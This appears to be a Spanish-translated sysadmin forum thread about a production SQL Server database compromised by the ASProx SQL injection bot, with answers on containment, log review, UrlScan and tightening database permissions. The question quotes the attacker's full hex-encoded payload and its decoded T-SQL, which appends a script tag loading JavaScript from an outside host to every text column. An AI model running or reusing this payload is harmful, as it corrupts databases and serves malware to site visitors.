27 votos

AYUDA La base de datos de producción fue inyectada con SQL.

Posible duplicado:
Mi servidor ha sido hackeado EMERGENCIA

¡Cielos, estoy desesperado! Hace unas horas nuestra base de datos de producción fue inyectada por sql.

Sé que tenemos algunos agujeros grandes en el sistema... porque heredamos el sitio web de un tipo que lo hizo en ASP clásico, su programación era realmente horrible y poco segura. Así que pasamos un tiempo migrando a ASP.NET (primero 1.1, luego 2.0 y ahora 3.5). Pero es un proyecto grande, y todavía hay código antiguo e inseguro. No voy a mentir, el proyecto es un desastre, lo odio, pero es nuestro cliente más importante (sólo somos 2 chicos jóvenes, no una gran empresa).

Así que sé que han inyectado algunas referencias js script a toda mi db de alguna manera.... Probablemente fue a través de una página antigua usando consultas sql de cadena concatenada y lanzando directamente a la db (porque el tipo que inicia el proyecto dijo "Los procedimientos almacenados no funcionan"..... así que hizo todo el sitio usando concatenación de cadenas, y lanzándolas directamente al sql sin hacer ninguna validación de seguridad ni nada.

Cuando obtuvimos el proyecto, el cliente no quería gastar tiempo en rehacer la mierda que hizo el anterior. Así que tuvimos que llevar a código cutre y poco seguro y arreglarlo mientras desarrollábamos nuevas funcionalidades, porque eso era lo que el cliente quiere... y ahora que nos han inyectado sql se vuelven locos, claro.

SO....

**¿Existe alguna forma de comprobar las consultas sql antiguas que se han ejecutado en las últimas X horas? ¿Algo parecido a lo que hace SQL Profiler (pero por supuesto no teníamos el profiler abierto cuando se produjo el ataque)? ¿Hay alguna forma de saber qué página es la vulnerable? Por favor, ayuda, hay muchas páginas. No puedo buscar en ellas manualmente sin saber con seguridad cuál es la página.

Además... ¿podría haber otra forma de inyectar el db? ¿Como usar una solicitud de IIS o js o algo?

Tengo acceso completo de escritorio remoto a la máquina del servidor (no está en un entorno alojado), por lo que puedo acceder a todos los archivos, registros, lo que sea en el servidor...

¡Por favor, ayuda!

PD: Lo siento, mi inglés no es muy bueno, ¡y es peor ahora que estoy nerviosa!

EDITAR

  • Windows 2003 Server
  • SERVIDOR SQL 2005
  • ASP .NET 3.5

El script que lanzan es el siguiente

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

Lo que traducido al texto es:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

25voto

PSU_Kardi Puntos 101

Lo primero que hay que hacer es no dejarse llevar por el pánico. Pero veo que te has saltado eso y has decidido

Lo segundo es quitar el sitio y asegurarse de que no se puede acceder a él desde el exterior hasta que se pueda averiguar qué es lo que está roto. Empieza a mirar los registros de acceso e intenta averiguar cuál es el problema principal.

La tercera cosa que hay que hacer es ver si haces una copia de seguridad de tu DB regularmente y simplemente hacer un roll back. Puede que pierdas algunos datos, pero estarás en mejor situación que ahora.

La cuarta cosa que hay que hacer es -NO- dar la url porque aparentemente es insegura

16voto

Wyatt Barnett Puntos 545

Definitivamente, asegúrese de instalar la versión más reciente de UrlScan, que ha sido diseñada prácticamente para acabar con este tipo de ataques.

Si tiene los registros de IIS, el punto de entrada debería ser bastante obvio: busque el que los hackers estaban atacando.

Otro buen respaldo, si es posible, es negar los derechos de INSERT y UPDATE a la cuenta del usuario web y perforar eso a través de procedimientos almacenados en su lugar. Este tipo de protección nos salvó de tener un problema similar con una aplicación heredada similar cuando se trataba de un ataque de día cero.

Creo que también se puede eliminar el derecho del usuario PÚBLICO a escanear las tablas, lo que debería evitar que hagan los ataques del estilo "foreach table".

10voto

andrewsomething Puntos 273

Como punto de referencia, este es el trabajo del ataque ASPRox bot SQL Injection. Parece que sale a la superficie de vez en cuando porque se vuelve bastante viral cuando se encuentran sistemas comprometidos. Puedes buscar en Google "ASPRox bot" y obtener algunos métodos adicionales de limpieza y otros tratamientos de prevención. Acabo de encontrar este PDF que tiene un buen resumen sobre sus tácticas y enlaces a algunas opciones de limpieza.

El problema es que el modelo de virus/inyección esencialmente tomó cada uno de los campos de texto en TODAS las tablas de su base de datos y puso un pequeño fragmento que llama a la URL especificada para intentar infectar a cualquier otro cliente web e intentar convertirlo en un zombi que visite su sitio.

Así que asegúrese de comprobar todas las bases de datos de ese servidor en cuestión, no sólo la que tiene la base de datos implicada para hacer una limpieza adecuada.

Parece que estás en el camino correcto con las sugerencias aquí, pero tener algunas referencias "formales" al nombre del virus podría ayudar con necesidades adicionales.

9voto

Mauro Puntos 2938

En primer lugar, hay que cerrar el sitio, para evitar más ataques de inyección.

En segundo lugar, hay que hacer una auditoría de seguridad, para determinar qué registros tiene, y qué seguridad hay en el sistema, y determinar cómo entraron los atacantes.

En tercer lugar, hay que poner en marcha el registro y la seguridad de las áreas en las que se vio comprometido, como mínimo. Poner en marcha un sistema de detección de intrusiones que te informe inmediatamente (como un localizador).

En cuarto lugar, informar a la dirección de que el tiempo de inactividad es una consecuencia de que hayan ignorado la seguridad.

3voto

Thorarin Puntos 166

Comprueba los registros de tu IIS para saber qué página han utilizado para hacer la inyección. No hace falta decir que tienes que arreglar o desactivar esa página rápidamente.

El mejor enfoque depende del tipo de sitio. Si es posible, quitar el sitio web hasta que hayas restaurado una base de datos no contaminada o hayas revertido los cambios (eso requiere registros detallados). Entonces puedes volver a poner el sitio en modo de sólo lectura hasta que tengas tiempo de arreglar los problemas. Sólo tiene que restringir la cuenta SQL a sólo SELECT.

Incluso cuando se concatenan cadenas de consulta, se puede estar bastante seguro con poco esfuerzo. Buscar en todos los archivos ASP palabras clave como SELECT y UPDATE revelará todas las consultas. Rodea todos tus parámetros con comprobaciones básicas de cordura para empezar.

Como probablemente tengas prisa, puedes echar un vistazo a algunas realmente antiguo código ASP VBScript mío . Hay un montón de funciones SafeSqlWhatever ahí para ayudarte a construir sentencias SQL seguras. No hay garantías, nunca se pretendió que fuera público. Sin embargo, sustituyendo todas las entradas de las variables por el SqlVar(algúnValor) debería servirle para empezar. Tienes que eliminar las comillas simples del resto de tu cadena de consulta, ya que SqlVar las añade por ti. Alternativamente, utilice las funciones específicas para el tipo de valor que está esperando:

Antes:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

Después:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PD: no, no es así como debería ser, pero probablemente lo más rápido para que las cosas vuelvan a funcionar desde donde están ahora.

EnMiMaquinaFunciona.com

EnMiMaquinaFunciona es una comunidad de administradores de sistemas en la que puedes resolver tus problemas y dudas.
Puedes consultar las preguntas de otros sysadmin, hacer tus propias preguntas o resolver las de los demás.

Powered by: